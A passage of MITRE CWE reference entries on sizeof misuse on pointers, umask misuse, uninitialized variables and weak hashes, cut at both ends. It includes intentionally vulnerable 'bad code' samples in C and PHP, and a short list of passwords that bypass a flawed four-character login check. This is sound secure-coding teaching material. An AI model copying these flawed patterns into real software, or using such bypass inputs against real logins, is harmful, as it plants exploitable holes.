The CERT Oracle Secure Coding Standard for Java (2011)MSC07-JPrevent multiple instantiations of singleton objects
Software Fault PatternsSFP19Missing Lock
+ References
[REF-474] Douglas C. Schmidt, Timothy H. Harrison and Nat Pryce. "Thread-Specifc Storage for C/C++". <http://www.cs.wustl.edu/~schmidt/PDF/TSS-pattern.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
Anonymous Tool Vendor (under NDA)
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2010-09-27CWE Content TeamMITRE
updated Name
2010-12-13CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2011-03-29CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2010-09-27Use of Singleton Pattern in a Non-thread-safe Manner

CWE-467: Use of sizeof() on a Pointer Type

Weakness ID: 467
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The code calls sizeof() on a malloced pointer type, which always returns the wordsize/8. This can produce an unexpected result if the programmer intended to determine how much memory has been allocated.
+ Extended Description
The use of sizeof() on a pointer can sometimes generate useful information. An obvious case is to find out the wordsize on a platform. More often than not, the appearance of sizeof(pointer) indicates a bug.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.131Incorrect Calculation of Buffer Size
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Confidentiality

Technical Impact: Modify Memory; Read Memory

This error can often cause one to allocate a buffer that is much smaller than what is needed, leading to resultant weaknesses such as buffer overflows.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

Care should be taken to ensure sizeof returns the size of the data structure itself, and not the size of the pointer to the data structure.

In this example, sizeof(foo) returns the size of the pointer.

(bad code)
Example Language:
double *foo;
...
foo = (double *)malloc(sizeof(foo));

In this example, sizeof(*foo) returns the size of the data structure and not the size of the pointer.

(good code)
Example Language:
double *foo;
...
foo = (double *)malloc(sizeof(*foo));

Example 2

This example defines a fixed username and password. The AuthenticateUser() function is intended to accept a username and a password from an untrusted user, and check to ensure that it matches the username and password. If the username and password match, AuthenticateUser() is intended to indicate that authentication succeeded.

(bad code)
 

/* Ignore CWE-259 (hard-coded password) and CWE-309 (use of password system for authentication) for this example. */

char *username = "admin";
char *pass = "password";

int AuthenticateUser(char *inUser, char *inPass) {
printf("Sizeof username = %d\n", sizeof(username));
printf("Sizeof pass = %d\n", sizeof(pass));

if (strncmp(username, inUser, sizeof(username))) {
printf("Auth failure of username using sizeof\n");
return(AUTH_FAIL);
}
/* Because of CWE-467, the sizeof returns 4 on many platforms and architectures. */

if (! strncmp(pass, inPass, sizeof(pass))) {
printf("Auth success of password using sizeof\n");
return(AUTH_SUCCESS);
}
else {
printf("Auth fail of password using sizeof\n");
return(AUTH_FAIL);
}
}

int main (int argc, char **argv)
{
int authResult;

if (argc < 3) {
ExitError("Usage: Provide a username and password");
}
authResult = AuthenticateUser(argv[1], argv[2]);
if (authResult != AUTH_SUCCESS) {
ExitError("Authentication failed");
}
else {
DoAuthenticatedTask(argv[1]);
}
}

In AuthenticateUser(), because sizeof() is applied to a parameter with an array type, the sizeof() call might return 4 on many modern architectures. As a result, the strncmp() call only checks the first four characters of the input password, resulting in a partial comparison (CWE-187), leading to improper authentication (CWE-287).

Because of the partial comparison, any of these passwords would still cause authentication to succeed for the "admin" user:

(attack code)
 
pass5
passABCDEFGH
passWORD

Because only 4 characters are checked, this significantly reduces the search space for an attacker, making brute force attacks more feasible.

The same problem also applies to the username, so values such as "adminXYZ" and "administrator" will succeed for the username.

+ Potential Mitigations

Phase: Implementation

Use expressions such as "sizeof(*pointer)" instead of "sizeof(pointer)", unless you intend to run sizeof() on a pointer type to gain some platform independence or if you are allocating a variable on the stack.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.737CERT C Secure Coding Standard (2008) Chapter 4 - Expressions (EXP)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.740CERT C Secure Coding Standard (2008) Chapter 7 - Arrays (ARR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.874CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.974SFP Secondary Cluster: Incorrect Buffer Length Computation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1162SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1408Comprehensive Categorization: Incorrect Calculation
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPUse of sizeof() on a pointer type
CERT C Secure CodingARR01-CDo not apply the sizeof operator to a pointer when taking the size of an array
CERT C Secure CodingMEM35-CCWE More AbstractAllocate sufficient memory for an object
Software Fault PatternsSFP10Incorrect Buffer Length Computation
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
[REF-442] Robert Seacord. "EXP01-A. Do not take the sizeof a pointer to determine the size of a type". <https://www.securecoding.cert.org/confluence/display/seccode/EXP01-A.+Do+not+take+the+sizeof+a+pointer+to+determine+the+size+of+a+type>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-08-01KDM Analytics
added/updated white box definitions
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Demonstrative_Examples
2009-12-28CWE Content TeamMITRE
updated Demonstrative_Examples
2010-02-16CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-06-23CWE Content TeamMITRE
updated Description, Other_Notes
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Demonstrative_Examples, Taxonomy_Mappings, White_Box_Definitions
2019-01-03CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated References
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-560: Use of umask() with chmod-style Argument

Weakness ID: 560
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product calls umask() with an incorrect argument that is specified as if it is an argument to chmod().
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.687Function Call With Incorrectly Specified Argument Value
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity
Access Control

Technical Impact: Read Files or Directories; Modify Files or Directories; Bypass Protection Mechanism

+ Potential Mitigations

Phase: Implementation

Use umask() with the correct argument.

Phase: Testing

If you suspect misuse of umask(), you can use grep to spot call instances of umask().
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.946SFP Secondary Cluster: Insecure Resource Permissions
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Other

Some umask() manual pages begin with the false statement: "umask sets the umask to mask & 0777" Although this behavior would better align with the usage of chmod(), where the user provided argument specifies the bits to enable on the specified file, the behavior of umask() is in fact opposite: umask() sets the umask to ~mask & 0777. The documentation goes on to describe the correct usage of umask(): "The umask is used by open() to set initial file permissions on a newly-created file. Specifically, permissions in the umask are turned off from the mode argument to open(2) (so, for example, the common umask default value of 022 results in new files being created with permissions 0666 & ~022 = 0644 = rw-r--r-- in the usual case where the mode is specified as 0666)."
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
Anonymous Tool Vendor (under NDA)
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-07-20CWE Content TeamMITRE
updated Other_Notes
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Often Misused: umask()

CWE-457: Use of Uninitialized Variable

Weakness ID: 457
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The code uses a variable that has not been initialized, leading to unpredictable or unintended results.
+ Extended Description
In some languages such as C and C++, stack variables are not initialized by default. They generally contain junk data with the contents of stack memory before the function was invoked. An attacker can sometimes control or read these contents. In other languages or conditions, a variable that is not explicitly initialized can be given a default value that has security implications, depending on the logic of the program. The presence of an uninitialized variable can sometimes indicate a typographic error in the code.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.908Use of Uninitialized Resource
CanFollowVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.456Missing Initialization of a Variable
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.665Improper Initialization
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.665Improper Initialization
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationIn C, using an uninitialized char * in some string libraries will return incorrect results, as the libraries expect the null terminator to always be at the end of a string, even if the string is empty.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Sometimes Prevalent)

C++ (Sometimes Prevalent)

Perl (Often Prevalent)

PHP (Often Prevalent)

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Availability
Integrity
Other

Technical Impact: Other

Initial variables usually contain junk, which can not be trusted for consistency. This can lead to denial of service conditions, or modify control flow in unexpected ways. In some cases, an attacker can "pre-initialize" the variable using previous actions, which might enable code execution. This can cause a race condition if a lock variable check passes when it should not.
Authorization
Other

Technical Impact: Other

Strings that are not initialized are especially dangerous, since many functions expect a null at the end -- and only at the end -- of a string.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

This code prints a greeting using information stored in a POST request:

(bad code)
Example Language: PHP 
if (isset($_POST['names'])) {
$nameArray = $_POST['names'];
}
echo "Hello " . $nameArray['first'];

This code checks if the POST array 'names' is set before assigning it to the $nameArray variable. However, if the array is not in the POST request, $nameArray will remain uninitialized. This will cause an error when the array is accessed to print the greeting message, which could lead to further exploit.

Example 2

The following switch statement is intended to set the values of the variables aN and bN before they are used:

(bad code)
Example Language:
int aN, Bn;
switch (ctl) {
case -1:
aN = 0;
bN = 0;
break;

case 0:
aN = i;
bN = -i;
break;

case 1:
aN = i + NEXT_SZ;
bN = i - NEXT_SZ;
break;

default:
aN = -1;
aN = -1;
break;
}
repaint(aN, bN);

In the default case of the switch statement, the programmer has accidentally set the value of aN twice. As a result, bN will have an undefined value. Most uninitialized variable issues result in general software reliability problems, but if attackers can intentionally trigger the use of an uninitialized variable, they might be able to launch a denial of service attack by crashing the program. Under the right circumstances, an attacker may be able to control the value of an uninitialized variable by affecting the values on the stack prior to the invocation of the function.

Example 3

This example will leave test_string in an unknown condition when i is the same value as err_val, because test_string is not initialized (CWE-456). Depending on where this code segment appears (e.g. within a function body), test_string might be random if it is stored on the heap or stack. If the variable is declared in static memory, it might be zero or NULL. Compiler optimization might contribute to the unpredictability of this address.

(bad code)
Example Language:
char *test_string;
if (i != err_val)
{
test_string = "Hello World!";
}
printf("%s", test_string);

When the printf() is reached, test_string might be an unexpected address, so the printf might print junk strings (CWE-457).

To fix this code, there are a couple approaches to making sure that test_string has been properly set once it reaches the printf().

One solution would be to set test_string to an acceptable default before the conditional:

(good code)
Example Language:
char *test_string = "Done at the beginning";
if (i != err_val)
{
test_string = "Hello World!";
}
printf("%s", test_string);

Another solution is to ensure that each branch of the conditional - including the default/else branch - could ensure that test_string is set:

(good code)
Example Language:
char *test_string;
if (i != err_val)
{
test_string = "Hello World!";
}
else {
test_string = "Done on the other side!";
}
printf("%s", test_string);
+ Observed Examples
ReferenceDescription
Chain: sscanf() call is used to check if a username and group exists, but the return value of sscanf() call is not checked (CWE-252), causing an uninitialized variable to be checked (CWE-457), returning success to allow authorization bypass for executing a privileged (CWE-863).
Chain: A denial of service may be caused by an uninitialized variable (CWE-457) allowing an infinite loop (CWE-835) resulting from a connection to an unresponsive server.
Uninitialized variable leads to code execution in popular desktop application.
Crafted input triggers dereference of an uninitialized object pointer.
Crafted audio file triggers crash when an uninitialized variable is used.
Uninitialized random seed variable used.
+ Potential Mitigations

Phase: Implementation

Strategy: Attack Surface Reduction

Assign all variables to an initial value.

Phase: Build and Compilation

Strategy: Compilation or Build Hardening

Most compilers will complain about the use of uninitialized variables if warnings are turned on.

Phases: Implementation; Operation

When using a language that does not require explicit declaration of variables, run or compile the software in a mode that reports undeclared or unknown variables. This may indicate the presence of a typographic error in the variable's name.

Phase: Requirements

The choice could be made to use a language that is not susceptible to these issues.

Phase: Architecture and Design

Mitigating technologies such as safe string libraries and container abstractions could be introduced.
+ Detection Methods

Fuzzing

Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.

Effectiveness: High

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.3987PK - Code Quality
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.998SFP Secondary Cluster: Glitch in Computation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1180SEI CERT Perl Coding Standard - Guidelines 02. Declarations and Initialization (DCL)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1416Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPUninitialized variable
7 Pernicious KingdomsUninitialized Variable
Software Fault PatternsSFP1Glitch in computation
SEI CERT Perl Coding StandardDCL33-PLImpreciseDeclare identifiers before using them
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
[REF-436] mercy. "Exploiting Uninitialized Data". 2006-01. <http://www.felinemenace.org/~mercy/papers/UBehavior/UBehavior.zip>.
[REF-437] Microsoft Security Vulnerability Research & Defense. "MS08-014 : The Case of the Uninitialized Stack Variable Vulnerability". 2008-03-11. <https://msrc.microsoft.com/blog/2008/03/ms08-014-the-case-of-the-uninitialized-stack-variable-vulnerability/>. URL validated: 2023-04-07.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 8: C++ Catastrophes." Page 143. McGraw-Hill. 2010.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 7, "Variable Initialization", Page 312. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-08-01KDM Analytics
added/updated white box definitions
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Description, Relationships, Observed_Example, Other_Notes, References, Taxonomy_Mappings
2009-01-12CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Potential_Mitigations
2009-03-10CWE Content TeamMITRE
updated Demonstrative_Examples
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2012-10-30CWE Content TeamMITRE
updated Demonstrative_Examples
2013-02-21CWE Content TeamMITRE
updated Applicable_Platforms, Description, Other_Notes, Potential_Mitigations, Relationships
2014-06-23CWE Content TeamMITRE
updated Modes_of_Introduction, Other_Notes
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated References, Relationships, Taxonomy_Mappings, White_Box_Definitions
2019-01-03CWE Content TeamMITRE
updated Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Relationships, Type
2020-02-24CWE Content TeamMITRE
updated References, Relationships, Type
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples, Relationships
2021-07-20CWE Content TeamMITRE
updated Observed_Examples
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Uninitialized Variable

CWE-328: Use of Weak Hash

Weakness ID: 328
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses an algorithm that produces a digest (output value) that does not meet security expectations for a hash function that allows an adversary to reasonably determine the original input (preimage attack), find another input that can produce the same hash (2nd preimage attack), or find multiple inputs that evaluate to the same hash (birthday attack).
+ Extended Description

A hash function is defined as an algorithm that maps arbitrarily sized data into a fixed-sized digest (output) such that the following properties hold:

  1. The algorithm is not invertible (also called "one-way" or "not reversible")
  2. The algorithm is deterministic; the same input produces the same digest every time

Building on this definition, a cryptographic hash function must also ensure that a malicious actor cannot leverage the hash function to have a reasonable chance of success at determining any of the following:

  1. the original input (preimage attack), given only the digest
  2. another input that can produce the same digest (2nd preimage attack), given the original input
  3. a set of two or more inputs that evaluate to the same digest (birthday attack), given the actor can arbitrarily choose the inputs to be hashed and can do so a reasonable amount of times

What is regarded as "reasonable" varies by context and threat model, but in general, "reasonable" could cover any attack that is more efficient than brute force (i.e., on average, attempting half of all possible combinations). Note that some attacks might be more efficient than brute force but are still not regarded as achievable in the real world.

Any algorithm that does not meet the above conditions will generally be considered weak for general use in hashing.

In addition to algorithmic weaknesses, a hash function can be made weak by using the hash in a security context that breaks its security guarantees. For example, using a hash function without a salt for storing passwords (that are sufficiently short) could enable an adversary to create a "rainbow table" [REF-637] to recover the password under certain conditions; this attack works against such hash functions as MD5, SHA-1, and SHA-2.

+ Relationships
